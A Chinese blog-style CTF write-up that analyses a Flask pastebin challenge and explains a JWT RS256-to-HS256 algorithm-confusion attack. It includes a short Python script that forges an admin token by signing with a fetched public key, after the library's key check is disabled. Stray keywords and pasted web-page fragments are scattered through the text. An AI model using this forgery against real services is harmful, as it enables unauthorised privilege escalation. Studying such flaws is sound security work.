jwt(JSON Web Tokens)的一道題目代碼分析

題目連接https://github.com/wonderkun/CTF_web/tree/5b08d23ba4086992cbb9f3f4da89a6bb1346b305/web300-6php

參考連接 https://skysec.top/2018/05/19/2018CUMTCTF-Final-Web/#Pastebin?tdsourcetag=s_pctim_aiomsg
     https://chybeta.github.io/2017/08/29/HITB-CTF-2017-Pasty-writeup/
     http://www.cnblogs.com/dliv3/p/7450057.html

雖然看着表哥的思路把題目解出來了,但仍是雲裏霧裏的,拿到源碼分析一波把html

  1 import os,time
  2 from flask import Flask, render_template, request,jsonify
  3 from flask_sqlalchemy import SQLAlchemy
  4 import jwt
  5 import string
  6 from Crypto import Random
  7 from Crypto.Hash import SHA
  8 from Crypto.Cipher import PKCS1_v1_5 as Cipher_pkcs1_v1_5
  9 from Crypto.Signature import PKCS1_v1_5 as Signature_pkcs1_v1_5
 10 from Crypto.PublicKey import RSA
 11 import base64
 12 import cgi
 13 from urllib import quote
 14 from urllib import unquote
 15 import hashlib
 16 import json
 17 
 18 
 19 app = Flask(__name__)
 20 app.secret_key = os.urandom(24)
 21 app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/pastebin.db'
 22 app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = True
 23 db = SQLAlchemy(app)
 24 random_generator = Random.new().read
 25 rsa = RSA.generate(1024, random_generator)
 26 
 27 class User(db.Model):
 28     __tablename__ = 'user'
 29     id = db.Column(db.Integer, primary_key=True)
 30     username = db.Column(db.Text)
 31     password = db.Column(db.Text)
 32     priv = db.Column(db.Text)
 33     key = db.Column(db.Text)
 34     token = db.Column(db.Text)
 35 
 36     def __init__(self, username, password, priv, key, token):
 37         self.username = username
 38         self.password = password
 39         self.priv = priv
 40         self.key = key
 41         self.token = token
 42 
 43     def __repr__(self):
 44         return '<User id:{}, username:{}, password:{}, priv:{}, key:{}, token:{}>'.format(self.id, self.username, self.password, self.priv, self.key, self.token)
 45 
 46 class Link(db.Model):
 47     __tablename__ = 'link'
 48     id = db.Column(db.Integer, primary_key=True)
 49     username = db.Column(db.Text)
 50     link = db.Column(db.Text)
 51     content = db.Column(db.Text)
 52 
 53     def __init__(self, username, link, content):
 54         self.username = username
 55         self.link = link
 56         self.content = content
 57 
 58     def __repr__(self):
 59         return '<Link id:{}, username:{}, link:{}, content:{}'.format(self.id, self.username, self.link, self.content)
 60 
 61 def defense(input_str):
 62     for c in input_str:
 63         if c not in string.letters and c not in string.digits:
 64             return False
 65     return True
 66 
 67 def getmd5(str):
 68     m = hashlib.md5()
 69     m.update(str)   
 70     return m.hexdigest()
 71 
 72 def getname(str, value):
 73     try:
 74         tmp = str.split('.')[1]
 75         while True:
 76             if len(tmp)%4 == 0:
 77                 break
 78             tmp = tmp + "="
 79         username = json.loads(base64.b64decode(tmp))['name']
 80     except:
 81         return False
 82     user = User.query.filter_by(username=username,).first()
 83     if not user:
 84         return False
 85     key_name = user.key
 86     with open('./pubkey/' + key_name + '.pem', 'r') as f:
 87         secret = f.read()
 88         # print(secret)
 89     try:
 90         de_user = jwt.decode(str, secret)
 91     except Exception as e:
 92         # print(e)
 93         return False
 94     # print(de_user)
 95     name = de_user[value]
 96     return name
 97 
 98 
 99 @app.route("/")
100 def index():
101     return render_template("index.html")
102 
103 @app.route("/user")
104 def user():
105     return render_template("user.html")
106 
107 @app.route("/reg",methods=['POST'])
108 def reg():
109     regname = request.form['regname']
110     if regname == "admin":
111         return jsonify(result=False,)
112     regpass = request.form['regpass']
113     if len(regname) < 5 or len(regname) > 20 or len(regpass) < 5 or len(regpass) > 20 or not defense(regname) or not defense(regpass) or User.query.filter_by(username=regname,).first():
114         return jsonify(result=False,)
115     private_pem = rsa.exportKey()
116     public_pem = rsa.publickey().exportKey()  
117     key_name = getmd5(regname + regpass)
118     with open('./key/' + key_name + '.pem', 'w') as f:
119         f.write(private_pem)
120     with open('./pubkey/' + key_name + '.pem', 'w') as f:
121         f.write(public_pem)
122     if regname == "admin":
123         priv = "admin"
124     else:
125         priv = "other"
126     token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')
127     user = User(regname, regpass, priv, key_name, token)
128     db.session.add(user)
129     db.session.commit()
130     return jsonify(result=True,)
131 @app.route("/login",methods=['POST'])
132 def login():
133     username = request.form['name']
134     password = request.form['pass']
135     if len(username) < 5 or len(username) > 20 or len(password) < 5 or len(password) > 20 or not defense(username) or not defense(password):
136         return jsonify(result=False,)
137     user = User.query.filter_by(username=username,password=password,).first()
138     if not user:
139         return jsonify(result=False,)
140     return jsonify(result=True,token=user.token,)
141 
142 @app.route("/paste",methods=['POST'])
143 def paste():
144     content = unquote(request.form['content'])
145     if len(content)>300:
146         return jsonify(result=False,)
147     try:
148         post_token = request.headers['Authorization'][7:]
149     except:
150         return jsonify(result=False,)
151     name = getname(post_token, "name")
152     if name == False:
153         return jsonify(result=False,)
154     if name == "admin":
155         return jsonify(result=False,)
156     link = getmd5(os.urandom(24))
157     content = cgi.escape(content)
158     li = Link(name, link, content)
159     db.session.add(li)
160     db.session.commit()
161     return jsonify(result=True,link=name+":"+link)
162 
163 @app.route("/list",methods=["GET"])
164 def list():
165     try:
166         post_token = request.headers['Authorization'][7:]
167     except:
168         return jsonify(result=False,)
169     name = getname(post_token, "name")
170     if name == False:
171         return jsonify(result=False,)
172     priv = getname(post_token, "priv")
173     if priv == False:
174         return jsonify(result=False,)
175     if priv == "other":
176         li = Link.query.filter_by(username=name,)
177         links = []
178         for lin in li:
179             links.append(name + ":" + lin.link)
180         return jsonify(result=True,username=name,links=links)
181     if priv == "admin":
182         li = Link.query.filter_by()
183         links = []
184         for lin in li:
185             links.append(lin.username + ":" + lin.link)
186         return jsonify(result=True,username="admin",links=links)
187 
188 @app.route("/pubkey/<key>",methods=["GET"])
189 def getkey(key):
190     try:
191         with open('./pubkey/' + key + '.pem', 'r') as f:
192             secret = f.read()
193         return jsonify(result=True,pubkey=secret,)
194     except:
195         return jsonify(result=False,)
196 
197 @app.route("/text/<link>",methods=["GET"])
198 def getcontent(link):
199     name = link.split(":")[0]
200     links = link.split(":")[1]
201     if defense(name) == False or defense(links) == False:
202         return jsonify(result=False,)
203     li = Link.query.filter_by(username=name,link=links,).first()
204     if not li:
205         return jsonify(result=False,)
206     return jsonify(result=True,content=li.content,)
207 
208 
209 app.run(debug=False,host='0.0.0.0')
View Code

是用flask寫的先看註冊的代碼git

 1 @app.route("/reg",methods=['POST'])
 2 def reg():
 3     regname = request.form['regname']
 4     if regname == "admin":
 5         return jsonify(result=False,)
 6     regpass = request.form['regpass']
 7     if len(regname) < 5 or len(regname) > 20 or len(regpass) < 5 or len(regpass) > 20 or not defense(regname) or not defense(regpass) or User.query.filter_by(username=regname,).first():
 8         return jsonify(result=False,)
 9     private_pem = rsa.exportKey()
10     public_pem = rsa.publickey().exportKey()  
11     key_name = getmd5(regname + regpass)
12     with open('./key/' + key_name + '.pem', 'w') as f:
13         f.write(private_pem)
14     with open('./pubkey/' + key_name + '.pem', 'w') as f:
15         f.write(public_pem)
16     if regname == "admin":
17         priv = "admin"
18     else:
19         priv = "other"
20     token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')
21     user = User(regname, regpass, priv, key_name, token)
22     db.session.add(user)
23     db.session.commit()
24     return jsonify(result=True,)

首先是不容許註冊admin用戶 其次會判斷帳號密碼長度>5 且<20 而後會進入defen函數  github

def defense(input_str):
    for c in input_str:
        if c not in string.letters and c not in string.digits:
            return False
    return True

跟進去發現是要求參數必須是web

而後會生成rsa的公鑰私鑰算法

private_pem = rsa.exportKey()
public_pem = rsa.publickey().exportKey()

以後會把用戶的私鑰和公鑰存放在目錄中sql

key_name = getmd5(regname + regpass)
    with open('./key/' + key_name + '.pem', 'w') as f:
        f.write(private_pem)
    with open('./pubkey/' + key_name + '.pem', 'w') as f:
        f.write(public_pem)

命名格式爲數據庫

getmd5(regname + regpass)

以後是給普通用戶爲other權限編程

再以後生成tokenjson

token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')

查閱資料以下

JWT簽名算法中,通常有兩個選擇,一個採用HS256,另一個就是採用RS256。
簽名其實是一個加密的過程,生成一段標識(也是JWT的一部分)做爲接收方驗證信息是否被篡改的依據。

RS256 (採用SHA-256 的 RSA 簽名) 是一種非對稱算法, 它使用公共/私鑰對: 標識提供方採用私鑰生成簽名, JWT 的使用方獲取公鑰以驗證簽名。因爲公鑰 (與私鑰相比) 不須要保護, 所以大多數標識提供方使其易於使用方獲取和使用 (一般經過一個元數據URL)。
另外一方面, HS256 (帶有 SHA-256 的 HMAC 是一種對稱算法, 雙方之間僅共享一個 密鑰。因爲使用相同的密鑰生成簽名和驗證簽名, 所以必須注意確保密鑰不被泄密。

在開發應用的時候啓用JWT,使用RS256更加安全,你能夠控制誰能使用什麼類型的密鑰。另外,若是你沒法控制客戶端,沒法作到密鑰的徹底保密,RS256會是個更佳的選擇,JWT的使用方只須要知道公鑰。

因爲公鑰一般能夠從元數據URL節點得到,所以能夠對客戶端進行進行編程以自動檢索公鑰。若是採用這種方式,從服務器上直接下載公鑰信息,能夠有效的減小配置信息。

RS256爲非對稱的算法 

標識提供方採用私鑰生成簽名, JWT 的使用方獲取公鑰以驗證簽名。

加密後入庫保存 具體數據庫操做代碼就不追蹤了,註冊流程到這

接着看登錄的函數

@app.route("/login",methods=['POST'])
def login():
    username = request.form['name']
    password = request.form['pass']
    if len(username) < 5 or len(username) > 20 or len(password) < 5 or len(password) > 20 or not defense(username) or not defense(password):
        return jsonify(result=False,)
    user = User.query.filter_by(username=username,password=password,).first()
    if not user:
        return jsonify(result=False,)
    return jsonify(result=True,token=user.token,) 

邏輯上差很少就是個登錄驗證,登錄成功後進入了主界面有兩個功能

一個是存儲的功能paste 另外一個是查看功能看看你存儲了哪些東西,先來看paste功能

@app.route("/paste",methods=['POST'])
def paste():
    content = unquote(request.form['content'])
    if len(content)>300:
        return jsonify(result=False,)
    try:
        post_token = request.headers['Authorization'][7:]
    except:
        return jsonify(result=False,)
    name = getname(post_token, "name")
    if name == False:
        return jsonify(result=False,)
    if name == "admin":
        return jsonify(result=False,)
    link = getmd5(os.urandom(24))
    content = cgi.escape(content)
    li = Link(name, link, content)
    db.session.add(li)
    db.session.commit()
    return jsonify(result=True,link=name+":"+link)

接受傳進來的參數content 而且長度不能大於300 獲取http頭中的參數

post_token = request.headers['Authorization'][7:]

而後從Authorization解析出name變量來

name = getname(post_token, "name")

跟進getname函數

def getname(str, value):
    try:
        tmp = str.split('.')[1]
        while True:
            if len(tmp)%4 == 0:
                break
            tmp = tmp + "="
        username = json.loads(base64.b64decode(tmp))['name']
    except:
        return False
    user = User.query.filter_by(username=username,).first()
    if not user:
        return False
    key_name = user.key
    with open('./pubkey/' + key_name + '.pem', 'r') as f:
        secret = f.read()
        # print(secret)
    try:
        de_user = jwt.decode(str, secret)
    except Exception as e:
        # print(e)
        return False
    # print(de_user)
    name = de_user[value]
    return name

先用burpsuite抓包看看Authorzation是啥樣

Authorization: Bearer eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoidGVzdGVyIiwicHJpdiI6Im90aGVyIn0.FTnXqCb7drMUhsKChxDWIDdG6_KkC7bFORthEhQJh5JamKMeUB4aNGYgh_M0UTcZGcN_3I0ElsboDA4QglrLZVtllzXAYpunHWWH15BDtMaFk7aqwxqRzBCyWDM7vjErq3YvzYBnguwtF_uaTtKWN9DvNSyVk0eP-hae13JBdRY

這就是用jwt 以rs256加密後的

token = jwt.encode({'name': regname,'priv': priv}, private_pem, algorithm='RS256')

有個解析的網站https://jwt.io/#debugger-io 扔進去看看

由3個部分組成的,由三個.分隔,分別是

header
payload
Sinature

每一部分都是base64編碼的。

header

一般由兩部分組成:令牌的類型,即JWT和正在使用的散列算法,如HMAC SHA256或RSA

{
  "alg": "RS256",
  "typ": "JWT"
}

alg爲算法的縮寫,typ爲類型的縮寫,而後,這個JSON被Base64編碼,造成JSON Web Token的第一部分。

payload

令牌的第二部分是包含聲明的有效負載。聲明是關於實體(一般是用戶)和其餘元數據的聲明。 這裏是用戶隨意定義的數據 例如上面的舉例

{
  "name": "tester",
  "priv": "other"
}

Signature

要建立簽名部分,必須採用header,payload,密鑰。而後利用header中指定算法進行簽名,例如RS256(RSA SHA256),簽名的構成爲:

RSASHA256(
  base64UrlEncode(header) + "." +base64UrlEncode(payload),
  
Public Key or Certificate. Enter it in plain text only if you want to verify a token
,
  
Private Key. Enter it in plain text only if you want to generate a new token. The key never leaves your browser.

)

HS256(HMAC SHA256),簽名的構成爲:

HMACSHA256(
  base64Encode(header) + "." +
  base64Encode(payload),
  secret)

繼續看name函數

調試輸出一下試試

username爲當前用戶名

而後根據用戶名 進入數據庫查到對應的公鑰user.key並賦值給secret

user = User.query.filter_by(username=username,).first()

而後進入

de_user = jwt.decode(str, secret)

這裏的str是剛纔jwt.decode用私鑰 以rs256的方式加密的,而後將公鑰secret給他解密後 給de_user返回value

將內容打印出來

取所須要的value返回

走回paste函數往下走 這個相似php中轉義xss的那個函數htmlbalbalba

cgi.escape(txt) #

這樣paste函數就完事了

以後進入list函數

@app.route("/list",methods=["GET"])
def list():
    try:
        post_token = request.headers['Authorization'][7:]
    except:
        return jsonify(result=False,)
    name = getname(post_token, "name")
    if name == False:
        return jsonify(result=False,)
    priv = getname(post_token, "priv")
    if priv == False:
        return jsonify(result=False,)
    if priv == "other":
        li = Link.query.filter_by(username=name,)
        links = []
        for lin in li:
            links.append(name + ":" + lin.link)
        return jsonify(result=True,username=name,links=links)
    if priv == "admin":
        li = Link.query.filter_by()
        links = []
        for lin in li:
            links.append(lin.username + ":" + lin.link)
        return jsonify(result=True,username="admin",links=links)

首先經過獲取到想要的值

name = getname(post_token, "name")
priv = getname(post_token, "priv")

接下來判斷若是name的權限是other就返回該name的paste內容 是admin 就返回全部的paste內容

代碼通讀完了 大致功能也瞭解了 雖然不知道具體細節 但大致思路仍是清楚的大概就是驗證身份的時候存在問題

這實際上是一個算法篡改攻擊,由於服務器利用的RS256算法,用的是私鑰進行簽名,公鑰進行驗證的,(https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/

查看js /static/js/common.js

function getpubkey(){
    /* 
    get the pubkey for test
    /pubkey/{md5(username+password)}
    */
}

能夠經過這裏找到本身私鑰

{"pubkey":"-----BEGIN PUBLIC KEY-----\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvXqtl0+ilz1cyajoUq/zzxYj\nZQtPA5WxUx1/vrZ7vhWcOg/3AwI1WN7xfHFC2UFVOtPeg3OmYRUO0Q9uM2OaNPNA\nWAGO5ZDOg3KARpj5ZdKLBM+GXD0KZEv+a/C+NbTHyE7EeDbLnWi0b5ROiMZ0sf0d\nmP1N6WZfm1RULtH4EQIDAQAB\n-----END PUBLIC KEY-----","result":true}

規範下格式

-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDRvXqtl0+ilz1cyajoUq/zzxYj\nZQtPA5WxUx1/vrZ7vhWcOg/3AwI1WN7xfHFC2UFVOtPeg3OmYRUO0Q9uM2OaNPNA\nWAGO5ZDOg3KARpj5ZdKLBM+GXD0KZEv+a/C+NbTHyE7EeDbLnWi0b5ROiMZ0sf0d\nmP1N6WZfm1RULtH4EQIDAQAB -----END PUBLIC KEY-----

咱們能夠獲取到本身的public key。JWT的header部分中,有簽名算法標識alg,而alg是用於簽名算法的選擇,最後保證用戶的數據不被篡改。可是在數據處理不正確的狀況下,可能存在alg的惡意篡改。咱們能夠僞造算法爲hs256,而後利用咱們的獲取的public key,來簽名僞造的數據,繞過驗證。PyJWT庫中對這種攻擊作了預防,不容許hs256的密鑰中出現下面這些字符,具體見algorithms.py:151

直接註釋掉

def prepare_key(self, key):
        key = force_bytes(key)
        return key
import jwt
public = open("1.txt",'r').read()
print jwt.encode({"name":"aoligei","priv":"admin"},key=public,algorithm='HS256')

生成的字符串替換掉對應的Authortion

list的時候再次進入get_name函數的時候

key_name = user.key
    with open('./pubkey/' + key_name + '.pem', 'r') as f:
        secret = f.read()

從數據庫取出來的secret 和用經過pubkey目錄的公鑰是同樣的 由於HS256是對稱的因此直接解密便可 僞造一個admin權限繞過if 

相關文章
相關標籤/搜索